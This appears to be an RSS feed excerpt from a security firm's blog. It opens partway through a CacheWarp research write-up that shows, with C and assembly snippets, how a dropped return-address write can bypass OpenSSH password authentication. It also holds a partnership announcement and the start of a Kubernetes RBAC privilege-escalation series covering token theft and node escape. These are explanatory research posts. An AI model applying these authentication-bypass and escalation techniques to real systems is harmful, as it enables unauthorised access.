&lt;h3 id="initial-access---openssh---leveraging-timewarp">Initial Access - OpenSSH - Leveraging TimeWarp&lt;/h3>
&lt;p>The attack on &lt;code>openssh&lt;/code> targets the control flow of the program, using a primitive called &lt;em>Timewarp&lt;/em> to trick the program into checking &lt;code>if (real_password == real_password) return authorized&lt;/code>&lt;/p>
&lt;h4 id="challenge---compiler-optimizations">Challenge - Compiler Optimizations&lt;/h4>
&lt;p>While the &lt;code>sudo&lt;/code> exploit conveniently has one variable that lets us pass all checks, it is quite difficult to find such convenient write-drops in the wild.
One big reason is that most programs are compiled using GCC with the compiler flag &lt;code>-O2&lt;/code> which optimizes compiled C-Code.
One effect of this optimization is that local variables, where possible, are stored in registers instead of in memory.
Since CacheWarp cannot attack registers, most lines, like the one below are probably not vulnerable.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-C" data-lang="C">&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">foo&lt;/span>(){
&lt;span style="color:#999;font-style:italic">// ...
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> authorized = &lt;span style="color:#3677a9">0&lt;/span>; &lt;span style="color:#999;font-style:italic">// &amp;lt;-- Not vulnerable
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// ...
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>}&lt;/code>&lt;/pre>&lt;/div>
&lt;p>While there are exceptions, as a general rule &lt;em>CacheWarp&lt;/em> can only be used on global variables and &lt;em>structs&lt;/em> since these are memory writes and not optimized into registers. In the &lt;code>sudo&lt;/code> case, we were very lucky that the UID was stored in the &lt;code>user_details&lt;/code> &lt;em>struct&lt;/em>.&lt;/p>
&lt;h4 id="timewarp---using-knowledge-from-the-future-and-then-going-back-in-time">TimeWarp - Using knowledge from the future and then going back in time&lt;/h4>
&lt;p>To expand the attack surface, it is necessary to look beyond for new ideas:
Programs use memory for more than just storing global variables and &lt;em>structs&lt;/em>
One such use-case is using the stack to keep track of function return addresses.
Consider the following example:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-C" data-lang="C">&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">foo&lt;/span>(){
&lt;span style="color:#999;font-style:italic">//...
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>}
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(){
puts(&lt;span style="color:#ed9d13">&amp;#34;Before foo&amp;#34;&lt;/span>);
foo();
puts(&lt;span style="color:#ed9d13">&amp;#34;After foo&amp;#34;&lt;/span>); &lt;span style="color:#999;font-style:italic">// Return address
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>}&lt;/code>&lt;/pre>&lt;/div>
&lt;p>Before entering the &lt;code>foo&lt;/code> function, the program stores the return address of &lt;code>puts(&amp;quot;After foo&amp;quot;)&lt;/code> on the stack.
When &lt;code>foo&lt;/code> finishes, the program can continue where it left off.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Stack before foo()&lt;/th>
&lt;th>Stack after calling foo()&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&amp;hellip;&lt;/td>
&lt;td>&amp;hellip;&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>uninitialized&lt;/td>
&lt;td>main+33 (Address of &amp;ldquo;After foo&amp;rdquo;)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;hellip;&lt;/td>
&lt;td>&amp;hellip;&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The Stack is part of memory and therefore vulnerable to &lt;em>CacheWarp&lt;/em>.
In the following example, we can leverage this behavior to manipulate control flow into an impossible state:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-C" data-lang="C">&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">return0&lt;/span>(){
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">return1&lt;/span>(){
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">1&lt;/span>;
}
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(){
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (return0() == &lt;span style="color:#3677a9">1&lt;/span>){ &lt;span style="color:#999;font-style:italic">// &amp;lt;- Stale return address
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> puts(&lt;span style="color:#ed9d13">&amp;#34;You are a time-warping Wizard!&amp;#34;&lt;/span>);
}
return1(); &lt;span style="color:#999;font-style:italic">// &amp;lt;- Victim
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> puts(&lt;span style="color:#ed9d13">&amp;#34;After return1&amp;#34;&lt;/span>); &lt;span style="color:#999;font-style:italic">// &amp;lt;- Correct return address
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>}&lt;/code>&lt;/pre>&lt;/div>
&lt;p>The x86-Assembly of the &lt;code>main&lt;/code> function looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-nasm" data-lang="nasm">&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">0&lt;/span>: &lt;span style="color:#40ffff">endbr64&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">4&lt;/span>: &lt;span style="color:#40ffff">push&lt;/span> &lt;span style="color:#24909d">rbp&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">5&lt;/span>: &lt;span style="color:#40ffff">mov&lt;/span> &lt;span style="color:#24909d">rbp&lt;/span>,&lt;span style="color:#24909d">rsp&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">8&lt;/span>: &lt;span style="color:#40ffff">mov&lt;/span> &lt;span style="color:#24909d">eax&lt;/span>,&lt;span style="color:#3677a9">0x0&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">13&lt;/span>: &lt;span style="color:#40ffff">call&lt;/span> &lt;span style="color:#3677a9">0x555555555149&lt;/span> &lt;span style="color:#40ffff">return0&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">18&lt;/span>: &lt;span style="color:#40ffff">cmp&lt;/span> &lt;span style="color:#24909d">eax&lt;/span>,&lt;span style="color:#3677a9">0x1&lt;/span> &lt;span style="color:#a61717;background-color:#e3d2d2">#&lt;/span> &amp;lt;- &lt;span style="color:#40ffff">Stale&lt;/span> &lt;span style="color:#40ffff">return&lt;/span> &lt;span style="color:#40ffff">address&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">21&lt;/span>: &lt;span style="color:#40ffff">jne&lt;/span> &lt;span style="color:#3677a9">0x55555555518d&lt;/span> &lt;span style="color:#40ffff">main&lt;/span>+&lt;span style="color:#3677a9">38&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">23&lt;/span>: &lt;span style="color:#40ffff">lea&lt;/span> &lt;span style="color:#24909d">rax&lt;/span>,[&lt;span style="color:#40ffff">rip&lt;/span>+&lt;span style="color:#3677a9">0xe7f&lt;/span>] &lt;span style="color:#a61717;background-color:#e3d2d2">#&lt;/span> &lt;span style="color:#3677a9">0x555555556004&lt;/span> (&lt;span style="color:#ed9d13">&amp;#34;You are a time-warping ...&amp;#34;&lt;/span>)
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">30&lt;/span>: &lt;span style="color:#40ffff">mov&lt;/span> &lt;span style="color:#24909d">rdi&lt;/span>,&lt;span style="color:#24909d">rax&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">33&lt;/span>: &lt;span style="color:#40ffff">call&lt;/span> &lt;span style="color:#3677a9">0x555555555050&lt;/span> &lt;span style="color:#40ffff">puts@plt&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">38&lt;/span>: &lt;span style="color:#40ffff">mov&lt;/span> &lt;span style="color:#24909d">eax&lt;/span>,&lt;span style="color:#3677a9">0x0&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">43&lt;/span>: &lt;span style="color:#40ffff">call&lt;/span> &lt;span style="color:#3677a9">0x555555555158&lt;/span> &lt;span style="color:#40ffff">return1&lt;/span> &lt;span style="color:#a61717;background-color:#e3d2d2">#&lt;/span> &amp;lt;- &lt;span style="color:#40ffff">Victim&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">48&lt;/span>: &lt;span style="color:#40ffff">mov&lt;/span> &lt;span style="color:#24909d">eax&lt;/span>,&lt;span style="color:#3677a9">0x0&lt;/span> &lt;span style="color:#a61717;background-color:#e3d2d2">#&lt;/span> &amp;lt;- &lt;span style="color:#40ffff">Correct&lt;/span> &lt;span style="color:#40ffff">return&lt;/span> &lt;span style="color:#40ffff">address&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">53&lt;/span>: &lt;span style="color:#40ffff">pop&lt;/span> &lt;span style="color:#24909d">rbp&lt;/span>
&lt;span style="color:#447fcf">main&lt;/span>+&lt;span style="color:#3677a9">54&lt;/span>: &lt;span style="color:#40ffff">ret&lt;/span> &lt;/code>&lt;/pre>&lt;/div>
&lt;p>The &lt;code>call&lt;/code> instruction contains an implicit write of the return address to the stack.
By triggering a write drop at &lt;code>main+43 call return 1&lt;/code>, we can trigger a so-called &lt;em>TimeWarp&lt;/em>.
This effectively returns the program to &lt;code>main+18&lt;/code> with the return value of 1, printing out &amp;ldquo;You are a time-warping wizard&amp;rdquo;.
In detail, the following steps happen:&lt;/p>
&lt;ol>
&lt;li>When calling &lt;code>return0()&lt;/code> the program writes the &lt;code>main+18&lt;/code> as the return address onto the stack.&lt;/li>
&lt;li>When calling &lt;code>return1()&lt;/code> the program attempts to write &lt;code>main+48&lt;/code> as the new return address onto the stack.&lt;/li>
&lt;li>Writing of the new return address is blocked, and the old return address will be used when the function &lt;code>return1&lt;/code> returns the program to &lt;code>main+18&lt;/code>.&lt;/li>
&lt;/ol>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Stack after call return0&lt;/th>
&lt;th>after call return 1&lt;/th>
&lt;th>Dropping the write&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&amp;hellip;&lt;/td>
&lt;td>&amp;hellip;&lt;/td>
&lt;td>&amp;hellip;&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>main+18&lt;/td>
&lt;td>main+48&lt;/td>
&lt;td>main+18 (stale return address)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;hellip;&lt;/td>
&lt;td>&amp;hellip;&lt;/td>
&lt;td>&amp;hellip;&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="exploiting-openssh-password-login">Exploiting OpenSSH password Login&lt;/h4>
&lt;p>Using this TimeWarp primitive, we can now attack the password login of OpenSSH.
The &lt;code>sys_auth_passwd&lt;/code> function checks whether the user has entered the correct password.
When the function returns 1 the user is authenticated.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-C" data-lang="C">&lt;span style="color:#999;font-style:italic">// Returns 1 if user authenticated 0 else
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">sys_auth_passwd&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> ssh *ssh, &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *password) {
[...]
&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *encrypted_password, *salt = &lt;span style="color:#24909d">NULL&lt;/span>;
&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> *pw_password = shadow_pw(pw); &lt;span style="color:#999;font-style:italic">// &amp;lt;- stale return address
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// After the TimeWarp: pw_password = xcrypt(password, salt)
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> [...]
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (authctxt-&amp;gt;valid &amp;amp;&amp;amp; pw_password[&lt;span style="color:#3677a9">0&lt;/span>] &amp;amp;&amp;amp; pw_password[&lt;span style="color:#3677a9">1&lt;/span>])
salt = pw_password;
encrypted_password = xcrypt(password, salt); &lt;span style="color:#999;font-style:italic">// &amp;lt;- victim
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> encrypted_password != &lt;span style="color:#24909d">NULL&lt;/span> &amp;amp;&amp;amp; strcmp(encrypted_password, pw_password) == &lt;span style="color:#3677a9">0&lt;/span>;
}&lt;/code>&lt;/pre>&lt;/div>
&lt;p>Using TimeWarp, we only need to target the &lt;code>xcrypt&lt;/code> call, such that we return back to the line &lt;code>char *pw_password = NULL&lt;/code>.
This reuses the return value of &lt;code>xcrypt&lt;/code> making it such that:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-C" data-lang="C">pw_password = xcrypt(password, salt);
encrypted_password = xcrypt(password, salt);
&lt;span style="color:#999;font-style:italic">// The following check passes since both strings are the same
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>strcmp(encrypted_password, pw_password) == &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#999;font-style:italic">// -&amp;gt; User gets authenticated
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;p>An observant reader may ask whether the &lt;code>salt&lt;/code> value makes any difference. The answer is that it does not make a differenc since the first two characters of a password hash are always &lt;code>$y&lt;/code>. Given that &lt;code>xcrypt&lt;/code> only uses the first two characters of a &lt;code>salt&lt;/code>, the result of both &lt;code>xcrypt&lt;/code> calls will stay the same.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>In this article, we demonstrate, how a single write drop CacheWarp, can be leveraged to completely take over a system using &lt;code>openssh&lt;/code> and &lt;code>sudo&lt;/code>.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;p>[1] Zhang, R., Gerlach, L., Weber, D., Hetterich, L., Lü, Y., Kogler, A., &amp;amp; Schwarz, M. (2024). CacheWarp: Software-based Fault Injection using Selective State Reset. 33rd USENIX Security Symposium (USENIX Security 24). &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cachewarpattack.com/paper.pdf"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p></description></item><item><title>Cooperation with TeleChips to strengthen their SoC cybersecurity</title><link>https://www.schutzwerk.com/en/blog/telechips-schutzwerk-partnership/</link><author>Dr. Bastian Könings</author><pubDate>Tue, 22 Aug 2023 09:00:00 +0100</pubDate><category>news</category><category>automotive security</category><category>embedded security</category><description>
&lt;p>We are excited to announce that Telechips, a leading supplier of System-on-Chip (SoC) components for automotive In-Vehicle Infotainment and cockpit solutions based in Seoul, South Korea, has selected SCHUTZWERK as their strategic partner for SoC cybersecurity assessments.&lt;/p>
&lt;p>Telechips has chosen to partner with SCHUTZWERK, a renowned and experienced provider of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">automotive&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, to conduct comprehensive cybersecurity assessments of their entire SoC portfolio through the end of 2024.&lt;/p>
&lt;p>This partnership will harness the expertise of SCHUTZWERK&amp;rsquo;s seasoned embedded security team to maintain and enhance the robust security of Telechips' SoCs. The detailed and reproducible assessment documentation provided by SCHUTZWERK, coupled with Telechips' well-established security management processes, will ensure that Telechips' SoCs remain a secure choice for Original Equipment Manufacturers (OEMs) and suppliers worldwide.&lt;/p>
&lt;p>This collaboration underscores both companies' unwavering commitment to upholding the highest level of security in the rapidly evolving landscape of embedded systems.&lt;/p>
&lt;p>&amp;ldquo;We are eager to deepen our relationship with Telechips, a company renowned for its innovative SoC technology,&amp;rdquo; said Dr. Bastian Könings, a key member of SCHUTZWERK&amp;rsquo;s embedded security team. &amp;ldquo;This partnership enables us to apply our cybersecurity expertise to bolster the security of Telechips' SoC variants, ensuring they continue to be safe and reliable in our increasingly interconnected world.&amp;rdquo;&lt;/p>
&lt;p>This is not the first time SCHUTZWERK and Telechips have joined forces. They previously collaborated on an embedded security assessment project for a Telechips SoC. The successful outcome of that project laid a solid foundation for this strategic partnership. More details about this previous project can be found in the corresponding &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/"
class="link-background inline split"
>
&lt;span class="link-label">success&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/"
class="link-background inline split"
>
&lt;span class="link-label">story&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&amp;quot;&lt;/p></description></item><item><title>Kubernetes RBAC: Paths for Privilege Escalation</title><link>https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/</link><author>Stefanos Can Mytilineos</author><pubDate>Mon, 17 Jul 2023 08:00:10 +0100</pubDate><category>kubernetes</category><category>cloud</category><category>container</category><category>attacks</category><description>
&lt;p>This is the first post of our Kubernetes security series. In this series we explain and showcase common weak points of enterprise Kubernetes clusters. Many of the described vulnerabilities we encounter when performing &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/pruefung/cloud-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Cloud&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/pruefung/cloud-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/pruefung/cloud-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for our customers.&lt;/p>
&lt;p>This series consists of four parts. We will update the links as soon as the following parts are published:&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">RBAC:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">Paths&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">Privilege&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/"
class="link-background inline split"
>
&lt;span class="link-label">Escalation&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Part II: Kubernetes RBAC: Hands on Privilege Escalation&lt;/li>
&lt;li>Part III: Protecting Kubernetes: Common Admission Controller (Mis)Configurations&lt;/li>
&lt;li>Part IV: Extending RBAC: Making Use of Admission Controllers to Automate Permission Management&lt;/li>
&lt;/ul>
&lt;p>Kubernetes is a widely used open-source container orchestration system that helps to reduce workloads when dealing with container management in distributed systems. If you are interested in learning more about Kubernetes, the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/concepts/overview/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">official&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/concepts/overview/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">documentation&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/concepts/overview/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(1)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a good place to start. Its &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">built-in&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">authorization&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">module&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(2)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
- which is based on role-based access control principles - is enabled by default and provides authorization mechanisms that prevent unauthorized access to resources.
However, certain permissions enable their &lt;strong>subject&lt;/strong> - here referred to as &lt;strong>entity&lt;/strong> (users, groups, service accounts) - to escalate their privileges to a potentially Cluster compromising extent.
In this post, we present various ways to escalate privileges within a Kubernetes Cluster and provide explanations as to how an exploit might work.&lt;/p>
&lt;h2 id="privilege-escalation-threats">Privilege Escalation Threats&lt;/h2>
&lt;p>In total, this post contains 7 different known privilege-escalation threat-vectors, which are enabled by the following permissions:&lt;/p>
&lt;ul>
&lt;li>create Pods&lt;/li>
&lt;li>read Secrets&lt;/li>
&lt;li>bind Roles&lt;/li>
&lt;li>escalate existing Roles&lt;/li>
&lt;li>impersonate entities in the Cluster&lt;/li>
&lt;/ul>
&lt;p>Let&amp;rsquo;s have a high-level look at what the threats are and why they are caused by these permissions.&lt;/p>
&lt;h3 id="pod-creation">Pod Creation&lt;/h3>
&lt;p>Pods are the basic work unit of every Kubernetes Cluster. Each Pod consists of at least one container, which, in turn, runs an application. In short: If you are using Kubernetes, you are using Pods.&lt;/p>
&lt;p>One might be wondering: Why does a basic permission that is essentially the most widely-used feature of Kubernetes pose a privilege escalation threat? It&amp;rsquo;s because of (overprivileged) containers!
While the RBAC system does enforce that only authorized users can create Pods, it does &lt;strong>not&lt;/strong> enforce what these users can put into their Pod definitions. Without proper &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">admission&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">control&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(3)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, users who are authorized to create Pods can use arbitrary images to create containers packed with arbitrary privileges and configurations.
The following subsections outline the corresponding exploitation scenarios.&lt;/p>
&lt;h4 id="mounting-a-service-account-token">Mounting a Service Account Token&lt;/h4>
&lt;p>Pod definitions can specify the option to &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">automatically&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">mount&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(4)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
the authorization token for a service account within the same namespace. With this in mind, creating Pods can simply be used as a mechanism to gain the authorization token of some high-privileged target service account and then proceed to perform API actions with that token. To achieve this, an attacker might create a Pod that is based on a backdoor-containing image and simply steal the token.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/using-mounted-sa-token_hu18a7b9365a8c10d46746881725a5a084_408811_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/using-mounted-sa-token_hu18a7b9365a8c10d46746881725a5a084_408811_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/using-mounted-sa-token_hu18a7b9365a8c10d46746881725a5a084_408811_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/using-mounted-sa-token.jpg"
width="1920"
height="1097"
alt="Mounting an existing Serviceaccount token to obtain the Serviceaccounts&amp;#39; privileges."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Mounting an existing Serviceaccount token to obtain the Serviceaccounts&amp;#39; privileges.&lt;/figcaption>
&lt;/figure>
&lt;h4 id="obtaining-access-to-a-cluster-node">Obtaining Access to a Cluster node&lt;/h4>
&lt;p>If an entity is allowed to create arbitrarily privileged containers (e.g. a lack of comprehensive admission control), it is possible to spawn vulnerable Pods that allow an attacker to gain easy access to the corresponding container and more importantly, potentially access to the underlying node within the Cluster. Various &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">examples&lt;/span>
&lt;/a>&lt;a
href="https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(5)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
exist that illustrate a simple way of doing this. Essentially this method consists of 2 steps: Gaining access to the container and then escaping the container by means of traditional container escape techniques.&lt;/p>
&lt;p>Obviously, having access to any node within a Cluster is a major breach in and of itself. However, in terms of privilege escalation within Kubernetes, this can have even larger consequences.
By gaining access to the node, an attacker could either:&lt;/p>
&lt;ul>
&lt;li>use the underlying container engine to access mounted Serviceaccount tokens of any Pod that is running on the same node&lt;/li>
&lt;li>search for application information and configuration files on the node that potentially expose further parts of the Cluster&lt;/li>
&lt;li>discover hosts and services on the network that are not related to Kubernetes (e.g. DNS Servers)&lt;/li>
&lt;/ul>
